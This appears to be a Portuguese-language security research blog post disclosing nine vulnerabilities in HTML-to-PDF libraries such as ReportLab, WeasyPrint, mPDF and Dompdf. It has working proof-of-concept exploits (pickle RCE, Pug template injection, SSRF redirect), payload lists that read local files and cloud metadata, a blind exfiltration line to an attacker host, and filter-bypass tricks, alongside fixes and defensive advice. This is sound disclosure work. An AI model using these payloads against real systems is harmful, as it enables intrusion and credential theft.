Descobrindo 0-days em Geradores HTML-to-PDF (90 milhões de alvos mensais)

Escrito por  Pedro Cruz

  • Por Pedro “gankd” CruzPentest Analyst & Vulnerability Researcher na Hakai Security.

Quase toda aplicação com diversas funcionalidades emite PDF em algum momento: fatura, recibo, relatório, certificado, contrato, extrato bancário. E por trás daquele botão “Exportar PDF” quase sempre tem uma lib open-source montando um HTML com dados do usuário, jogando num parser e devolvendo o arquivo, no servidor, com acesso a filesystem, rede interna e, com alguma sorte, o endpoint de metadata da cloud.

Isso faz do gerador de PDF um dos alvos mais subestimados de uma aplicação. Só o ReportLab são 50 milhões de downloads por mês no PyPI. Some WeasyPrint, Dompdf, mPDF, TCPDF, Browsershot, ReLaXed e a superfície passa de 90 milhões de instalações por mês.

Neste artigo serão abordadas nove 0-days reais que foram encontradas nessas libs, do RCE à leitura arbitrária de arquivo. Depois dos casos, abordo numa metodologia curta que pode ser aplicada em qualquer alvo.


Sumário

  1. O que é um gerador de PDF (e por que é um alvo tão bom)
  2. Identificando o engine
  3. As vulnerabilidades
  1. A metodologia
  2. Conclusão
  3. Prática

O que é um gerador de PDF

Um gerador de PDF é o componente que transforma dado dinâmico, parâmetro, conteúdo de banco, input de formulário, em documento. O padrão mais comum (e o mais perigoso) é o HTML-to-PDF: a aplicação monta um template HTML, injeta os dados do usuário e entrega para uma lib renderizar. Esse processo roda no backend porque leva tempo, e é justamente aí que uma fronteira de confiança é cruzada.

Quando o input do usuário é concatenado no template sem sanitização, o renderizador passa a interpretar tags, atributos, CSS e SVG vindos do atacante. Dependendo do engine, isso vira HTML injection, SSRF, leitura de arquivo local, deserialização insegura ou até RCE. E como esses serviços rodam dentro da rede com acesso total ao servidor, um bug que parecia inofensivo vira RCE em segundos

As funcionalidades onde isso aparece são sempre as mesmas:

  • Fatura, recibo, nota fiscal, comprovante de transferência
  • Relatório analítico com filtro customizável
  • Certificado de curso (plataformas EAD)
  • Export de conta, extrato bancário
  • Convite, contrato, autorização, proposta
  • Ticket, voucher, ingresso

Identificando o engine

Antes de testar qualquer payload vale descobrir quem está gerando o arquivo, isso já te diz metade dos vetores que vão funcionar. A assinatura costuma estar nos metadados do próprio PDF:

exiftool fatura.pdf | grep -iE 'producer|creator'
Producer Onde gera JS?
WeasyPrint, mPDF, TCPDF, Dompdf, ReportLab Server-side Não
wkhtmltopdf / Skia/PDF (Chromium), Browsershot, ReLaXed Server-side Sim
jsPDF, pdf-lib, html2pdf.js Client-side

A distinção server vs. client é a primeira que importa: em client-side (jsPDF, pdf-lib) o PDF nasce no browser da própria vítima, não tem alvo. Já a distinção com JS vs. sem JS decide a estratégia inteira de exploração, e é o que separa “ganhei a hunt” de “vou ter que atacar tag por tag“.

Com a assinatura em mãos, recomenda-se checar por CVEs conhecidos e comportamentos intencionais documentados da lib.


As vulnerabilidades

Nove casos reais em bibliotecas de uso recorrente no ecossistema. A pesquisa foi conduzida para explorar múltiplos vetores de HTML injection; das vulnerabilidades encontradas, seguem as mais relevantes:

# Lib Classe Impacto
1 ReportLab Deserialização (pickle) RCE
2 ReLaXed Template injection (Pug) RCE
3 WeasyPrint link rel=attachment Local File Read
4 WeasyPrint SSRF bypass via redirect SSRF
5 Browsershot Blocklist não cobre UNC LFI
6 mPDF Billion Laughs em SVG DoS
7 Dompdf @font-face → OOM File existence oracle
8 TCPDF Erro de imagem vaza path File existence oracle
9 mPDF file_get_contents em diretório Directory enumeration

#1 — ReportLab: RCE via deserialização

Alvo: reportlab50,9M downloads/mês (PyPI).
Sink: reportlab/lib/utils.py::decode_label.
Fix: ReportLab 4.4.8 (15/01/2026).

ReportLab usa pickle.loads() num caminho que parecia interno:

def decode_label(label):
    return pickle.loads(base64_decodebytes(label.encode('latin1')))

pickle.loads em dado não confiável é RCE, todo mundo sabe disso. O que faltava era o gatilho.

ReportLab suporta uma tag chamada <onDraw name="func" label="data"/> dentro de Paragraph. Quando a aplicação usa SimpleIndex (o jeito documentado de gerar índice remissivo) e arma o canvas com getCanvasMaker(), o método _indexAdd fica acessível pelo nome, e ele chama decode_label(label) direto.

Resultado: texto controlado pelo usuário num Paragraph é RCE quando a aplicação também usa SimpleIndex (getCanvasMaker()) ou PageAccumulator (attachToPageTemplate()), são eles que registram o callable que o <onDraw name=…> invoca pra chegar no decode_label(). Sem um dos dois armado, o <onDraw> levanta AttributeError.

Implementação vulnerável:

doc = SimpleDocTemplate("exploit.pdf")
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()

gankd_input = f"<b>html injection</b>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]

doc.build(story, canvasmaker=index_gadget.getCanvasMaker())

Exploit:

import pickle, base64, os
from reportlab.platypus import SimpleDocTemplate, Paragraph
from reportlab.lib.styles import getSampleStyleSheet
from reportlab.platypus.tableofcontents import SimpleIndex

class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/rce_success.txt',))

payload_bin = pickle.dumps(Exploit())
malicious_label = base64.b64encode(payload_bin).decode('latin1')

doc = SimpleDocTemplate('exploit.pdf')
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()

gankd_input = f"Triggering Exploit... <onDraw name='_indexAdd' label='{malicious_label}'/>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]

try:
    doc.build(story, canvasmaker=index_gadget.getCanvasMaker())
except Exception:
    pass

assert os.path.exists('/tmp/rce_success.txt')

Patch oficial: https://hg.reportlab.com/hg-public/reportlab/rev/8017a5b19981. Atualize para 4.4.8 ou superior.


#2 — ReLaXed: RCE via Pug

Alvo: RelaxedJS/ReLaXed11,8k estrelas (distribuído via clone/Docker).
Sink: src/masterToPDF.js, pug.render(...).

O contexto que ReLaXed passa para pug.render() deixa o require do Node visível pro template. Se input do usuário concatena no fonte do template (não como local), Pug abre bloco de código com - ... e qualquer JS roda.

Cenário:

app.post('/generate-report', (req, res) => {
    const userTitle = req.body.title;
    const templateContent = `
h1 User Report
p Welcome to the report for: ${userTitle}
`;
    fs.writeFileSync('user_report.pug', templateContent);
    exec('relaxed user_report.pug', (error) => {
        if (error) return res.status(500).send("Error generating PDF");
        res.download('user_report.pdf');
    });
});

Payload:

#{""}
- var cmd = require('child_process').execSync('id').toString()
p RCE Result: #{cmd}

Quebra o contexto de texto, abre bloco JS, carrega child_process, executa e cospe o stdout no PDF. RCE como o processo que roda o ReLaXed.

Fix: nunca concatenar input em fonte de template. Passa como locals: pug.render(template, { title: userTitle }). E tira o require do contexto.


#3 — WeasyPrint: Local File Read

Alvo: weasyprint26,9M downloads/mês (PyPI).
CVE: CVE-2024-28184.
Crédito: @nullie — não fui o primeiro a descobrir. Incluído porque é a primitiva que usei no engajamento que virou a CVE-2025-68616.

WeasyPrint aceita <link rel="attachment"> e o href pode ser file://. O recurso vira anexo embedado no PDF.

<link rel="attachment" href="file:///etc/passwd">

Para extrair:

$ pdfdetach -saveall attachment.pdf
$ cat passwd
root:x:0:0:root:/root:/bin/bash
...

Dica! <link> não renderiza nada visível, então sanitizadores que olham só o conteúdo visual deixam passar. Sempre que existir “anexar arquivo ao PDF”, pense em file://.


#4 — WeasyPrint: SSRF bypass via redirect

Alvo: WeasyPrint < 68.0.
Sink: default_url_fetcher em weasyprint/urls.py.
CVE: CVE-2025-68616CVSS 7.5 High.

Mesmo engajamento da #3. Depois do LFR, fui atrás do AWS metadata:

<link rel="attachment" href="https://169.254.169.254">

Não funcionou. O time tinha um url_fetcher customizado bloqueando strings com 169.254.169.254, localhost, etc. Defesa em profundidade, em teoria.

Na prática: WeasyPrint deixa o desenvolvedor validar URLs no url_fetcher, mas a implementação default usa urllib.request.urlopen, que segue redirects 301/302/307 sozinho, sem reentrar no fetcher. TOCTOU clássico. A URL inicial passa, o atacante responde 302 Location: http://169.254.169.254/..., e o urllib segue cego.

Filtro “seguro” da aplicação:

def secure_fetcher(url):
    if "169.254.169.254" in url:
        raise PermissionError(f"Access to {url} denied.")
    return default_url_fetcher(url)

Redirecionador do atacante:

from flask import Flask, redirect
app = Flask(__name__)

@app.route('/redirect')
def malicious():
    return redirect("https://169.254.169.254", code=302)

app.run(port=1337)

Payload:

<link rel="attachment" href="https://mysite/redirect">

secure_fetcher valida mysite. Aprova. urllib segue o 302. Credencial STS no PDF.

Atualize para WeasyPrint ≥ 68.0. Advisory: GHSA-983w-rhvv-gwmv.


#5 — Browsershot: LFI via UNC

Alvo: spatie/browsershot1,5M instalações/mês (Packagist).
Sink: src/Browsershot.php, propriedade $unsafeProtocols.

Blacklist mal feita:

protected array $unsafeProtocols = [
    'file:', 'file:/', 'file://', 'file:\\', 'file:\\\\', 'view-source',
];

Não cobre UNC. Chromium aceita \\localhost\etc\passwd e resolve como filesystem local — sem o protocolo file://.

$payload = '<iframe src="\\\\localhost/etc/passwd" width="1000" height="1000"></iframe>';
\Spatie\Browsershot\Browsershot::html($payload)->save('output.pdf');

Abre o PDF, /etc/passwd está lá.

Fix: allowlist (https://, http://, data: se necessário). Tudo o mais nega por padrão.


#6 — mPDF: DoS via Billion Laughs

Alvo: mpdf/mpdf2M instalações/mês (Packagist).
Sink: src/Image/Svg.php::ImageSVG.

mPDF tem um expansor manual de <!ENTITY> em SVG com preg_replace em loop. Erro clássico, contorna (bypass) todas as proteções do libxml:

if (preg_match('/<!ENTITY/si', $data)) {
    preg_match_all('/<!ENTITY\s+([a-z]+)\s+\"(.*?)\">/si', $data, $ent);
    for ($i = 0; $i < count($ent[0]); $i++) {
        $data = preg_replace(
            '/&' . preg_quote($ent[1][$i], '/') . ';/is',
            $ent[2][$i],
            $data
        );
    }
}

Cada iteração expande uma entidade em toda a string. Entidade i que referencia i-1 (já expandida) é re-expandida. Crescimento exponencial.

PoC:

$payload = '
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY a "AAAAAAAAAA">
<text x="0" y="0">&i;</text>
</svg>';

$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML($payload);
$mpdf->Output();

482 bytes de entrada, ~1 GB de RAM, processo morto pelo memory_limit. Vinte requests paralelos derrubam a fleet.

Fix: deixar libxml cuidar disso. Se manter expansão manual, limitar profundidade e tamanho a cada iteração.


#7 — Dompdf: file existence oracle

Alvo: dompdf/dompdf5,8M instalações/mês (Packagist).
Classe: CWE-770.
CVE: CVE-2026-55555CVSS 6.3 Medium.

Dompdf processa @font-face com src: url(file://...). Se o arquivo existe, o engine de fontes tenta realizar o parsing pesado por declaração e exaure o limite de memória do PHP, causando um crashing. Se não existe, falha e segue.

Repetindo a mesma declaração centenas de vezes:

  • Arquivo existe → OOM → fatal.
  • Arquivo não existe → PDF gerado.

Bypass de chroot, porque o que vaza é só metadado de existência. PHP default memory_limit é 128M.

PoC:

$dompdf = new Dompdf(new Options());

function generate_payload($file, $iterations) {
    $css = $body = '';
    for ($i = 0; $i < $iterations; $i++) {
        $css  .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
        $body .= "<span style=\"font-family:f{$i}\">.</span>";
    }
    return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}

$payload = generate_payload('/etc/passwd', 5250);
$dompdf->loadHtml($payload);
$dompdf->render();

Quando o arquivo existe:

PHP Fatal error: Allowed memory size of 134217728 bytes exhausted

Fix: Dompdf 3.1.6+ valida o caminho do arquivo durante a resolução das URLs do stylesheet. O método resolveUrl() agora checa se o path resolvido está fora do chroot configurado. Se estiver, rejeita a importação em vez de tentar processar.


#8 — TCPDF: file existence oracle

Alvo: tecnickcom/tcpdf2,7M instalações/mês (Packagist).
Sink: Image() em tcpdf.php.

Quando o HTML tem <img>, TCPDF:

  1. Verifica fileExists($file). Se false, segue em silêncio.
  2. Se existe, chama getimagesize().
  3. Se getimagesize() falhar (diretório, ou arquivo não-imagem como config.php) sem width/height explícitos no HTML, TCPDF chama Error() com mensagem que inclui o path inteiro.
Cenário Resultado
Arquivo não existe PDF normal
Arquivo/diretório existe TCPDF ERROR: [Image] Unable to get the size of /path/file

PoC:

<img src="config.php">
<img src="/.env">
<img src="/admin/">
<img src="/var/backups/db.sql">
<img src="/home/deploy/.ssh/id_rsa">

TCPDF processa em ordem e morre no primeiro hit, devolvendo o path. Listas de 15k entradas funcionam num único request HTTP. WAF que olha 404 ou path traversal não vê nada, o “fuzz” acontece dentro do processo PHP.


#9 — mPDF: directory enumeration

Alvo: mpdf/mpdf2M instalações/mês (Packagist).
Sink: src/File/LocalContentLoader.php.

public function load($path)
{
    return file_get_contents($path);
}

Se o path é um diretório existente, file_get_contents emite warning. O warning vai pra stdout, e a essa altura mPDF já começou a escrever bytes do PDF, “Output already sent”, fatal. Se o path não existe, falha silenciosa e PDF sai limpo.

Crash vs. PDF = oracle.

$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML('<img src="/var/lib/docker" />');
$mpdf->Output();

/etc existe → Linux. C:/Windows existe → Windows. /var/www/secret-project existe → tem alvo. Casa muito bem com qualquer LFI posterior.

Fix:

public function load($path)
{
    if (is_dir($path)) return null;
    return file_get_contents($path);
}

A metodologia

De todos os bugs identificados, utilizei a mesma metodologia. Aqui estão seis passos aplicáveis em qualquer funcionalidade de “Exportar PDF”, capazes de encontrar novas vulnerabilidades ou replicar as abordagens exploradas nas diferentes bibliotecas.

1. Leitura de metadados — Na grande maioria das aplicações, os metadados não são sanitizados. Com uma simples leitura de exiftool, é possível identificar a tecnologia utilizada. Isso determina se ela é server-side (abrindo um leque maior de ataques) ou client-side, cada uma com seus próprios vetores de exploração.

2. HTML injection — Um simples teste com tags como <b>injection-test</b> no campo que aparece no PDF (nome, descrição, observação, título). Negrito = você tem injeção. Teste também entidades HTML como &amp; e caracteres URL-encoded (ex: > como %3E) para entender como a biblioteca parseia a entrada. O HTML injection é o vetor principal para escalar vulnerabilidades server-side.

3. JS executa? O teste que decide a hunt:

<script>document.write("js-executed")</script>

Imprimiu = engine headless (Chromium / wkhtmltopdf / Browsershot / ReLaXed). Você ganhou. Não imprimiu = WeasyPrint / mPDF / TCPDF / Dompdf / ReportLab — sem JS, mas com muita tag pra atacar. <script> filtrado? <svg onload=...> e <img src=x onerror=...>.

4a. Com JS, tudo vira código. Você tem fetch, XHR e a rede do servidor:

<!-- cloud metadata (o golpe que paga melhor) -->
<script>fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/').then(r=>r.text()).then(t=>document.body.innerText=t)</script>

<!-- arquivo local (passa mesmo quando iframe file:// é bloqueado) -->
<script>fetch('file:///etc/passwd').then(r=>r.text()).then(t=>document.body.innerText=t)</script>

<!-- exfil cego quando o PDF é descartado -->
<script>fetch('http://interno').then(r=>r.text()).then(d=>fetch('https://collab.atacante/?d='+btoa(d)))</script>

A partir daí: rede interna (http://10.0.0.1/admin, Redis, Elastic, Jenkins), port scan por timing, e RCE quando o template compila server-side (require('child_process') no Pug/EJS, foi o caso #2).

4b. Sem JS, tag por tag. Você perde o controle programático, mas ataca cada tag que dispara request:

<iframe src="file:///etc/passwd" height="1000" width="1000"></iframe>     <!-- LFI -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="2000"></iframe>  <!-- metadata -->
<link rel="attachment" href="file:///etc/passwd">                        <!-- WeasyPrint, casos #3/#4 -->
<embed src="http://169.254.169.254/" />                                  <!-- iframe bloqueado -->
<svg><image xlink:href="../../../etc/passwd" width="100%"/></svg>        <!-- SVG path traversal -->
<style>@font-face{font-family:x;src:url('file:///etc/passwd')}</style>   <!-- CSS + oracle, caso #7 -->

Blind? Aponta <img>, <link rel=stylesheet>, @import, <base> e <meta refresh> pro seu OAST e confirma a saída de rede antes de gastar tempo.

5. Filtros bloqueando a exploração? – Em muitos casos são implementadas blocklists e quase sempre temos um bypass:

  • Encodingfile:// vira &#102;ile:; ../ vira ..%2f (o urldecode() decodifica depois do check, bypass de patch do TCPDF).
  • Protocolo alternativo — UNC \\localhost\etc\passwd no Chromium, sem usar file:// (caso #5).
  • Tag alternativa<img> bloqueado? <input type=image>, <video>, <svg><image href>. <iframe>? <embed>, <object>.
  • <base href> — reescreve a resolução de URL relativa da página inteira; filtro que olha src= não vê.
  • Redirectallowlist que não revalida no hop: responde 302 Location: http://interno (caso #4).
  • Encoding alternativo de IP169.254.169.254 vira [2002:a9fe:a9fe::] (6to4) ou [64:ff9b::a9fe:a9fe] (NAT64). IsPrivate() do stdlib não pega.
  • Trocar de camada — HTML filtrado → CSS → SVG inline → SVG base64 em <img src="data:...">. Raramente os três sanitizadores cobrem o mesmo conjunto.

6. Nada reflete? Side-channel — Se você conseguiu HTML injection mas não conseguiu escalar para nada, seja por maturidade da biblioteca ou falta de código, existem side-channels que quase sempre funcionam. Tempo de resposta (port scan, descoberta de hostname), status code, crash vs. sucesso (oracle de existência de arquivo: casos #7 e #9) e mensagens de erro vazando path (caso #8) são canais viáveis. Além disso, tags como <img> podem ser usadas para descoberta de arquivos ou diretórios via importação, e em casos extremos, até cross-site leaks explorando comportamentos de tags HTML acessando a rede interna. Raramente crítico sozinho, em alguns contextos específicos pode ser combinada com outras falhas.


Conclusão

Gerador de PDF é alvo bom por três motivos: o input do usuário entra no renderizador quase intacto, o renderizador roda no servidor (com filesystem, rede interna e às vezes credencial cloud), e a superfície é absurda: cada lib tem dezenas de tags customizadas, atributos e features. Nove casos depois, o padrão fica claro: o bug quase nunca é exótico; é pickle.loads, preg_replace em loop ou um blocklist que esqueceu de um encoding.

E quando o vendor lança um patch, leia o diff antes de aceitar como definitivo. Patch bypass é algo extremamente comum.

Pra quem mantém esse tipo de serviço:

  • Allowlist, nunca blocklist. Protocolo, host, path, nega por padrão.
  • Revalida em cada hop. Filtro que não reentra em redirect é inútil.
  • Não chama parser inseguro em dado de usuário. pickle.loads, eval, preg_replace em loop, unserialize() em dado externo — qualquer um é RCE/DoS no aguardo.
  • Engine com JS: desliga JS, isola a rede do worker, não carrega cookies de sessão real.
  • Mensagem de erro genérica fecha a maior parte dos oracles.
  • Classifica endereço por classe (incluindo prefixos tunelados), não por string. IsPrivate() do stdlib não cobre 6to4/Teredo/NAT64.
  • Ao publicar um patch, taguea um release no mesmo dia. Fix em main sem tag deixa downstream cego.

Nove vulnerabilidades diferentes, todas nascendo do mesmo padrão: validação fraca em gerador de PDF server-side. Agora você sabe como procurar. Let’s hack!


Prática

O Hacking Club é uma plataforma de treinamento focada no desenvolvimento de profissionais de cibersegurança. O desafio Certifia simula um servidor com a vulnerabilidade referenciada neste artigo e pode ser utilizado para consolidar o conhecimento apresentado.


Logo da Hakai.